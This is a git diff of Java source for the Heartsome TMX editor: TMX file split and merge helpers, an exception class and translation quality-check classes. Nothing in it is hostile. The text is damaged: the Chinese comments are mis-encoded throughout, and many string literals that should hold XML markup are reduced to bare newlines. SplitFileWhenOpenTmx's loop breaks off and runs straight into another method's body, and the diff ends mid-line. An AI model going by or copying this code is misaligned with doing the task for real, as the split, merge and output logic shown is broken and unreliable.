b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileValidateException.java @@ -0,0 +1,52 @@ +/** + * TmxFileValidateException.java + * + * Version information : + * + * Date:2013-5-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.exception; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxFileValidateException extends Exception { + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + private int exceptionCode; + + public TmxFileValidateException() { + super(); + } + + public TmxFileValidateException(String message) { + super(message); + this.exceptionCode = -1; + } + + public TmxFileValidateException(String message, int exceptionCode) { + this(message); + this.exceptionCode = exceptionCode; + } + + public TmxFileValidateException(String message, Throwable cause) { + super(message, cause); + exceptionCode = -1; + } + + public TmxFileValidateException(String message, Throwable cause, int exceptionCode) { + this(message, cause); + this.exceptionCode = exceptionCode; + } + + public int getExcetpitonCode() { + return exceptionCode; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/merge/MergeFilesWhenCloseTmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/merge/MergeFilesWhenCloseTmx.java new file mode 100644 index 0000000..f181b7b --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/merge/MergeFilesWhenCloseTmx.java @@ -0,0 +1,140 @@ +package net.heartsome.cat.te.core.file.merge; + +import java.io.BufferedOutputStream; +import java.io.FileOutputStream; +import java.util.List; +import java.util.Map; + +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; + +/** + * 当关闭文件时,将传入的临时文件进行åˆå¹¶ + * @author robert 2013-07-12 + */ +public class MergeFilesWhenCloseTmx { + private FileOutputStream output = null; + private BufferedOutputStream buffer = null; + public static final Logger LOGGER = LoggerFactory.getLogger(MergeFilesWhenCloseTmx.class); + private String mergedTgtFileEncoding; + + public MergeFilesWhenCloseTmx() { + + } + + /** + * åˆå¹¶æ–‡ä»¶ + * @param vnMap + * ä¿å­˜ã€€ä¸´æ—¶å­æ–‡ä»¶è·¯å¾„与 VTDNav å¯¹è±¡çš„ä¸€å¯¹ä¸€æ•°æ® + * @param subFileList + * 分割的临时å­æ–‡ä»¶(路径)集åˆã€‚ + * @param mergedTgtFilePath + * 将 tempFileList 内文件åˆå¹¶åŽç”Ÿæˆçš„目标文件的路径 + * @param monitor + * 传入的 å­ã€€monitor ,æœ¬æ–¹æ³•è‡ªåŠ¨ç»“æŸ + * @return true: åˆå¹¶æˆåŠŸï¼Œã€€false: åˆå¹¶å¤±è´¥ + * @throws Exception + */ + public boolean mergeTempFile(Map vnMap, List subFileList, final String mergedTgtFilePath, + final String mergedTgtFileEncoding, String tmxVersion, String docTypeContent, IProgressMonitor monitor) + throws Exception { + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", subFileList.size()); + this.mergedTgtFileEncoding = mergedTgtFileEncoding; + if (this.mergedTgtFileEncoding == null || this.mergedTgtFileEncoding.length() == 0) { + this.mergedTgtFileEncoding = "utf-8"; + } + try { + output = new FileOutputStream(mergedTgtFilePath); + buffer = new BufferedOutputStream(output); + // 开始生æˆã€€ç›®æ ‡ã€€æ–‡ä»¶çš„å¤´ç­‰ã€€ä¿¡æ¯ + if (mergedTgtFileEncoding.equalsIgnoreCase("UTF-16LE")) { + output.write(0xFF); + output.write(0xFE); + } else if (mergedTgtFileEncoding.equalsIgnoreCase("UTF-16BE")) { + output.write(0xFE); + output.write(0xFF); + } + writeSegment("\n"); + if(docTypeContent != null && docTypeContent.length() != 0){ + writeSegment("\n"); + } + if (tmxVersion != null && tmxVersion.length() != 0) { + writeSegment("\n"); + } else { + writeSegment("\n"); + } + + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + + for (int i = 0; i < subFileList.size(); i++) { + vn = vnMap.get(subFileList.get(i)).getVTDNav(); + ap.bind(vn); + vu.bind(vn); + + // 如果是第一个文件,那么è¦å°†è¿™ä¸ªæ–‡ä»¶ä¸­çš„ header 节点拷到目标文件中 + if (i == 0) { + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() != -1) { + writeSegment(vu.getElementFragment() + "\n"); + } + writeSegment("\n"); + } + + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1) { + writeSegment(vu.getElementFragment().replaceFirst("\\s{1}hsid='\\d+'", "") + "\n"); + } + + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + } + + writeSegment("\n"); + writeSegment(""); + buffer.flush(); + return true; + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + LOGGER.error("", e); + throw e; + } finally { + try { + if (output != null) { + output.close(); + } + if (buffer != null) { + buffer.close(); + } + monitor.done(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + } + + /** + * @param segment + * @throws Exception + */ + private void writeSegment(String segment) throws Exception { + buffer.write(segment.getBytes(mergedTgtFileEncoding)); + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/split/SplitFileWhenOpenTmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/split/SplitFileWhenOpenTmx.java new file mode 100644 index 0000000..c42fe57 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/file/split/SplitFileWhenOpenTmx.java @@ -0,0 +1,177 @@ +package net.heartsome.cat.te.core.file.split; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; + +/** + * 当打开 tmx 文件时,对其进行分割 + * @author robert 2013-07-12 + */ +public class SplitFileWhenOpenTmx { + private OutputStream output = null; + private BufferedOutputStream buffer = null; + private String tempFileLC = null; + private String spliteFilePath = "/Users/Mac/Desktop/testSplitBigFile/medicaldevicesc_big.tmx"; + /** æ¯ä¸ªä¸´æ—¶æ–‡ä»¶çš„åºå·ï¼Œä»Ž 0 开始 */ + private int tempFileIndex = 0; + /** 以 tuUnitSum 个 tu为å•ä½è¿›è¡Œåˆ†å‰²æ–‡ä»¶ */ + private final int tuUnitSum = 5000; + // private final int tuUnitSum = 1000; + + public static final Logger LOGGER = LoggerFactory.getLogger(SplitFileWhenOpenTmx.class); + + public SplitFileWhenOpenTmx() { + } + + /** + * æ ¹æ®ä¼ å…¥çš„大文件,以 tuUnitSum 个 tu 为å•ä½è¿›è¡Œåˆ‡å‰²æˆæ— æ•°å°æ–‡ä»¶ï¼Œ 该方法会抛出退出异常。 + * @param monitor + * NEEDDELETE 这里的 monitor 负责开始任务以åŠã€€done + * @param spliteFilePath + * è¦åˆ†å‰²æ–‡ä»¶çš„ç»å¯¹è·¯å¾„ + * @return null 如果返回为 null。è¯æ˜Žæ–‡ä»¶è§£æžå¼‚常。 + */ + public List splitFile(IProgressMonitor monitor, final String spliteFilePath, VTDNav vn, int tuNum) + throws OperationCanceledException { + this.spliteFilePath = spliteFilePath; + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + List subFileList = new LinkedList(); + + // 如果临时文件夹ä¸å­˜åœ¨ï¼Œç”Ÿæˆä¸´æ—¶æ–‡ä»¶å¤¹ + String fileParentLC = new File(spliteFilePath).getParentFile().getAbsolutePath(); + String tmxTempFolderLC = fileParentLC + File.separator + "." + (new File(spliteFilePath).getName()) + "_folder"; + File tmxTempFolder = new File(tmxTempFolderLC); + if (!tmxTempFolder.exists()) { + tmxTempFolder.mkdirs(); + } + String os = System.getProperty("os.name").toLowerCase(); + if (os.startsWith("windows")) { + String sets = "attrib +H \"" + tmxTempFolder.getAbsolutePath() + "\""; + try { + Runtime.getRuntime().exec(sets); + } catch (IOException e) { + LOGGER.error("", e); + } + } + + try { + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + + // 求出 tu æ•°é‡æ€»å’Œ + int subFileSum = (tuNum % tuUnitSum == 0) ? tuNum / tuUnitSum : (tuNum / tuUnitSum) + 1; + monitor.beginTask("", subFileSum); + + // 首先将 header 里é¢çš„æ•°æ®å¡«å……到第一个文件中 + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() != -1) { + createNewTempFile(tmxTempFolderLC, vu.getElementFragment()); + } + + int i = 0; + ap.selectXPath("/tmx/body/tu"); + String frag = null; + while (ap.evalXPath() != -1) { + i++; + frag = vu.getElementFragment(); + // UNDO 这里添加 hsid 时还è¦è¿›è¡Œåˆ¤æ–­æ˜¯å¦æœ‰é‡å¤çš„ hsid + writeSegment("\n"); + writeSegment("\n"); + writeSegment(headerFrag); + writeSegment("\n"); + } + + private void endTempFile(List tempFileList, IProgressMonitor subMonitor) throws Exception { + writeSegment("\n"); + writeSegment("\n"); + buffer.flush(); + tempFileList.add(tempFileLC); + subMonitor.worked(1); + + output.close(); + buffer.close(); + if (subMonitor.isCanceled()) { + throw new OperationCanceledException(); + } + buffer = null; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/IQAResultViewer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/IQAResultViewer.java new file mode 100644 index 0000000..bb4f375 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/IQAResultViewer.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.te.core.qa; + +/** + * å“质检查结果视图的类的接å£ï¼Œæ·»åŠ æ­¤æŽ¥å£çš„主è¦åŽŸå› ï¼Œæ˜¯é€šè¿‡ã€€qaControl ç±»æ¥æŽ§åˆ¶ã€€QAResultViewer 类的。因为他们ä¸åœ¨åŒä¸€ä¸ªåŒ…。 + * @author robert 2013-09-29 + * @version + * @since JDK1.6 + */ +public interface IQAResultViewer { + /** 与 {@link #TeCoreConstant.QAResultViewer_ID} ä¿æŒä¸€è‡´ */ + public static final String ID = "net.heartsome.cat.te.tmxeditor.QAResultViewer"; + + + public void registLister(QAControl control); + + /** + * æ¸…é™¤ç»“æžœæ˜¾ç¤ºè§†å›¾çš„åˆ—è¡¨ä¸­çš„æ•°æ® + */ + public void clearTableData(); + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/NumberConsistenceQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/NumberConsistenceQA.java new file mode 100644 index 0000000..f858fff --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/NumberConsistenceQA.java @@ -0,0 +1,130 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.util.TextUtil; + + +/** + * 数字一致性检查 + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class NumberConsistenceQA extends QARealization { + + @Override + public void beginTmxQA(QATUDataBean tu) { + String tgtText = model.isIgnoreTag() ? tu.getTgtPureText() : tu.getTgtContent(); + if (TextUtil.checkStringEmpty(tgtText)) { + return; + } + + boolean hasError = false; + String pattern = "-?\\d{1,}(\\.?\\d{1,})?"; + Pattern patt = Pattern.compile(pattern); + //获å–æºæ–‡æœ¬ä¸­çš„所有数字 + Matcher matcher = patt.matcher(tu.getSrcPureText()); + List sourceNumbers = new LinkedList(); + while (matcher.find()) { + sourceNumbers.add(matcher.group()) ; + } + + //获å–目标文本中的数字 + matcher = patt.matcher(tu.getTgtPureText()); + List targetNumbers = new LinkedList(); + while (matcher.find()) { + targetNumbers.add(matcher.group()) ; + } + + String lineNumber = tu.getLineNumber(); + + String qaType = QAConstant.QA_NumberConsistence; + String qaTypeText = QAConstant.QA_NumberConsistenceText; + Map> resultMap = compareNumber(sourceNumbers, targetNumbers); + if (resultMap.get("source") != null && resultMap.get("source").size() > 0) { + //输出数字一致性中目标文件所é—失的数字 + List resultList = resultMap.get("source"); +// String resultStr = ""; +// for (int index = 0; index < resultList.size(); index++) { +// resultStr += "'" + resultList.get(index) + "', "; +// } +// +// if (resultStr.length() > 0) { +// resultStr = resultStr.substring(QAConstant.QA_ZERO, resultStr.length() - QAConstant.QA_TWO); +// String errorTip = MessageFormat.format(Messages.getString("qa.NumberConsistenceQA.catnotFindNumber"), +// resultStr); +//// super.printResult(new QAResultBean(tu.getTuID(), lineNumber, qaType, qaTypeText, errorTip)); +// } + if (resultList.size() > 0) { + hasError = true; + } + } + //输出数字一致性检查中目标文件中多出的数字 + if (resultMap.get("target") != null && resultMap.get("target").size() > 0) { + //输出数字一致性中目标文件所é—失的数字 + List resultList = resultMap.get("target"); +// String resultStr = ""; +// for (int index = 0; index < resultList.size(); index++) { +// resultStr += "'" + resultList.get(index) + "', "; +// } +// +// if (resultStr.length() > 0) { +// resultStr = resultStr.substring(QAConstant.QA_ZERO, resultStr.length() - QAConstant.QA_TWO); +// String errorTip = MessageFormat.format(Messages.getString("qa.NumberConsistenceQA.findExcessNumber"), +// resultStr); +//// super.printResult(new QAResultBean(tu.getTuID(), lineNumber, qaType, qaTypeText, errorTip)); +// } + if (resultList.size() > 0) { + hasError = true; + } + } + if (hasError) { + super.printResult(new QAResultBean(tu.getTuID(), qaType, lineNumber, qaTypeText, null, tu.getSrcContent(), tu.getTgtContent())); + } + + } + + @Override + public void beginDBQA() { + + } + + + + /** + * 将查出的数字与目标文本进行相关的比较 + * @param findNumber + * @param targetText + * @return + */ + public Map> compareNumber(List sourceNumbers, List targetNumbers){ + Map> resultMap = new HashMap>(); + List resultList = new LinkedList(); + //下é¢æŸ¥çœ‹å…¶ç›®æ ‡æ•°å­—集åˆä¸­æ˜¯å¦æœ‰æºæ–‡æœ¬ä¸­çš„数字,如果有,则将这个数字从目标数字集åˆä¸­åˆ é™¤ + int tarIndex; + if (targetNumbers.size() == 0) { + resultMap.put("source", sourceNumbers); + return resultMap; + } + for (int index = 0; index < sourceNumbers.size(); index++) { + String sourceNumber = sourceNumbers.get(index); + + if ((tarIndex = targetNumbers.indexOf(sourceNumber)) >= 0) { + targetNumbers.remove(tarIndex); + }else { + resultList.add(sourceNumber); + } + } + resultMap.put("source", resultList); + if (targetNumbers.size() > 0) { + resultMap.put("target", targetNumbers); + } + return resultMap; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QACommonFuction.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QACommonFuction.java new file mode 100644 index 0000000..107f11c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QACommonFuction.java @@ -0,0 +1,235 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + + +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.cat.te.core.utils.TmxFilterQueryUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.jface.preference.IPreferenceStore; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; + +/** + * å“质检查所用到的公共方法类 + * @author robert 2013-09-17 + * @version + * @since JDK1.6 + */ +public class QACommonFuction { + + + public QACommonFuction(){ + + } + + + + + /** + * 获å–当å‰å¯ç”¨çš„å“质检查项。 + * @return List 存放æ¯ä¸ªæ£€æŸ¥é¡¹çš„ id ,如 QAConstant.QA_TagConsistence; + */ + public static List getUseableQAItems(){ + List usebaleQAItemList = new ArrayList(); + final IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + String useableQAItemStr = store.getString(QAConstant.PREF_useableQAItemStr); + if (!useableQAItemStr.isEmpty()) { + usebaleQAItemList = Arrays.asList(useableQAItemStr.split(";")); + } + return usebaleQAItemList; + } + + + /** + * 获å–所有数æ®ï¼ŒåŒ…括行å·ã€‚ 此方法仅适用于å“质检查 + *
    此方法与 {@link TmxFilterQueryUtil#getAllTuDataOfTmxList()} 相似,修改时,两个方法皆需修改。
    + * @return ; + */ + public static List getAllTuDataOfTmxList(QAModel model) throws Exception{ + final String TUVName = "tuv"; + final String SEGName = "seg"; + + String srcLang = model.getSrcLang(); + String tgtLang = model.getTgtLang(); + boolean ignoreTag = model.isIgnoreTag(); + TmxLargeFileContainer container = model.getContainer(); + + List allTuDataBean = new ArrayList(); + final TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + int index = -1; + String tuID = ""; + int traversalTuIndex = 0; + int subFileIndex = -1; + + for (String subFile : container.getSubFiles()) { + subFileIndex = container.getSubFiles().indexOf(subFile); + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + ap.bind(vn); + vn.push(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] " + + "and tuv[lower-case(@xml:lang)='" + tgtLang + "']]"; + ap.selectXPath(xpath); + + String srcText = null; + String tgtText = null; + String curLang = ""; + String nodeName = ""; + QATUDataBean tuDataBean = new QATUDataBean(); + while (ap.evalXPath() != -1) { + srcText = null; + tgtText = null; + + curLang = ""; + tuDataBean = new QATUDataBean(); + traversalTuIndex ++; + + if ((index = vn.getAttrVal("hsid")) != -1) { + tuID = vn.toString(index); + tuID = subFileIndex + TeCoreConstant.ID_MARK + tuID; + tuDataBean.setTuID(tuID); + }else { + continue; + } + + // 先切æ¢åˆ°å­èŠ‚点 + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if (curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + + // 开始é历 tu 第一个å­èŠ‚点,找出 tuv + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if (curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + } + } + vn.pop(); + + // 判断æºæ–‡è¯‘文是å¦ä¸ºç©º , 如果为空,设为空值,以防é¢åŽè°ƒç”¨è¯¥æ–¹æ³•çš„代ç å‡ºçŽ°ã€€ç©ºæŒ‡é’ˆå¼‚常。 + if (srcText == null) { + srcText = ""; + } + tuDataBean.setSrcContent(srcText); + + if (tgtText == null) { + tgtText = ""; + } + tuDataBean.setTgtContent(tgtText); + + if (ignoreTag) { + srcText = parser.getTmxPureText(srcText); + tuDataBean.setSrcPureText(srcText); + tgtText = parser.getTmxPureText(tgtText); + tuDataBean.setTgtPureText(tgtText); + } + + tuDataBean.setLineNumber(traversalTuIndex + ""); + allTuDataBean.add(tuDataBean); + } + vn.pop(); + } + + return allTuDataBean; + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAConstant.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAConstant.java new file mode 100644 index 0000000..fd41ca9 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAConstant.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.te.core.qa; + +import net.heartsome.cat.te.core.resource.Messages; + + + +/** + * te å“质检查的常é‡ç±» + * @author robert 2012-09-16 + * @version + * @since JDK1.6 + */ +public class QAConstant { + /** 标记一致性检查 */ + public static final String QA_TagConsistence = "te.qa.tagConsistence"; + /** 数字一致性检查 */ + public static final String QA_NumberConsistence = "te.qa.numberConsistence"; + /** 文本段å‰åŽç©ºæ ¼æ£€æŸ¥ */ + public static final String QA_SpaceOfParaCheck = "te.qa.spaceOfParaCheck"; + /** 译文为空 */ + public static final String QA_TgtNull = "te.tgtNull"; + /** æºæ–‡ä¸Žè¯‘æ–‡ç›¸åŒ */ + public static final String QA_SrcSameWithTgt = "te.qa.srcSameWithTgt"; + /** æºæ–‡ç›¸åŒä½†è¯‘æ–‡ä¸åŒ */ + public static final String QA_SrcSameButTgt = "te.qa.srcSameButTgt"; + /** 译文相åŒä½†æºæ–‡ä¸åŒ */ + public static final String QA_TgtSameButSrc = "te.qa.tgtSameButSrc"; + + //----------------- æ¯ä¸ªæ£€æŸ¥é¡¹çš„å称 ----------------- + public static final String QA_TagConsistenceText = Messages.getString("qa.QAConstant.QA_TagConsistenceText"); + public static final String QA_NumberConsistenceText = Messages.getString("qa.QAConstant.QA_NumberConsistenceText"); + public static final String QA_SpaceOfParaCheckText = Messages.getString("qa.QAConstant.QA_SpaceOfParaCheckText"); + public static final String QA_TgtNullText = Messages.getString("qa.QAConstant.QA_TgtNullText"); + public static final String QA_SrcSameWithTgtText = Messages.getString("qa.QAConstant.QA_SrcSameWithTgtText"); + public static final String QA_SrcSameButTgtText = Messages.getString("qa.QAConstant.QA_SrcSameButTgtText"); + public static final String QA_TgtSameButSrcText = Messages.getString("qa.QAConstant.QA_TgtSameButSrcText"); + + //----------------------------------------------------------------------// + //---------------------程åºä¸­æ•°å­—或字符串常é‡-------------------------------// + //----------------------------------------------------------------------// + + public static final int QA_ZERO = 0; + public static final int QA_FIRST = 1; + public static final int QA_TWO = 2; + public static final int QA_THREE = 3; + /** é”®ç›˜ä¸Šå›žè½¦é”®çš„é”®ç  */ + public static final int QA_CENTERKEY_1 = 13; + /** å°é”®ç›˜ä¸Šå›žè½¦é”®çš„é”®ç  */ + public static final int QA_CENTERKEY_2 = 16777296; + + /** å“质检查项中存放å“质检查åçš„keyå€¼å¸¸é‡ */ + public static final String ITEM_NAME = "qaItemName"; + /** å“质检查项中存放å“质检查类åçš„keyå€¼å¸¸é‡ */ + public static final String ITEM_CLASSNAME = "qaItemClassName"; + + /** ä¿å­˜å½“å‰è¦è¿›è¡Œæ£€æŸ¥çš„å“质检查项,æ¯é¡¹ä¹‹å‰ç”¨ã€€; 隔开,该值ä¿å­˜åœ¨ã€€te.core 的æ’ä»¶é‡Œé¢ */ + public static final String PREF_useableQAItemStr = "te.tmxeditor.qa.pref.useableQAItemStr"; + + /** 一个空格字符 */ + public static final char QA_ONE_SPACE_CHAR = ' '; + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAControl.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAControl.java new file mode 100644 index 0000000..5dc3883 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/QAControl.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.te.core.qa; + +import java.beans.PropertyChangeSupport; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +/** + * å“质检查数æ®æŽ§åˆ¶ç±» + * @author robert 2013-09-22 + * @version + * @since JDK1.6 + */ +public class QAControl { + public PropertyChangeSupport listeners = new PropertyChangeSupport(this); + /** 是å¦è¢«å“质检查视图注册 */ + private boolean isRegist; + private QAControl curElement = this; + private IViewPart qaResultViewer = null; + private List qaResultDataList = new ArrayList(); + /** 缓存数é‡å•ä½ï¼Œå½“缓存达到这个数é‡æ—¶ï¼Œå¼€å§‹ä¼ é€è‡³ç»“果视图 */ + private int dataUnit = 2000; + /** 原始的æºè¯­è¨€ï¼Œå³æœªæ›´æ”¹å¤§å°å†™ */ + private String originalSrcLang; + /** 原始的目标语言,å³æœªæ›´æ”¹å¤§å°å†™ */ + private String originalTgtLang; + public final static Logger logger = LoggerFactory.getLogger(QAControl.class.getName()); + + public QAControl (){ + + } + + + public void storeQAData(QAResultBean data){ + qaResultDataList.add(data); + } + + /** + * 将缓存中的数æ®ä¼ é€è‡³å“质检查结果视图。
    注æ„,å“质检查结æŸæ—¶ä¹Ÿåº”调用一次,将缓存中剩下的数æ®ä¼ é€åˆ°ç»“果视图
    + * 因为传é€è¿‡ç¨‹å¾ˆæµªè´¹æ—¶é—´ï¼Œæ•…,设置一项缓存,当缓存 达到 dataUnit 大å°æ—¶ï¼Œå¼€å§‹ä¼ é€ + */ + public void sendDataToViewer(boolean isLast){ + if (!isRegist) { + // 先调用方法,查看å“质检查结果视图是å¦å¤„于显示状æ€ï¼Œå¦‚果没有显示,那么先显示它 + Display.getDefault().syncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window == null) { + return; + } + IWorkbenchPage workbenchPage = window.getActivePage(); + qaResultViewer = workbenchPage.findView(TeCoreConstant.QAResultViewer_ID); + + if (qaResultViewer == null) { + try { + workbenchPage.showView(TeCoreConstant.QAResultViewer_ID); + qaResultViewer = workbenchPage.findView(TeCoreConstant.QAResultViewer_ID); + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAControl.LOGG.qaViewerOpenError"), e); + } + } else { + if (!window.getActivePage().isPartVisible(qaResultViewer)) { + window.getActivePage().activate(qaResultViewer); + } + ((IQAResultViewer)qaResultViewer).clearTableData(); + } + // 注册 + ((IQAResultViewer) qaResultViewer).registLister(curElement); + isRegist = true; + } + }); + } + + if (isLast) { + if (qaResultDataList.size() > 0) { + beginSendData(); + } + }else { + if (qaResultDataList.size() >= dataUnit) { + beginSendData(); + } + } + } + + private void beginSendData(){ + if (qaResultViewer != null) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window == null) { + return; + } + if (!window.getActivePage().isPartVisible(qaResultViewer)) { + window.getActivePage().activate(qaResultViewer); + } + } + }); + } + if (qaResultDataList.size() > 0) { + listeners.firePropertyChange("printData", null, qaResultDataList); + } + qaResultDataList.clear(); + } + + + public String 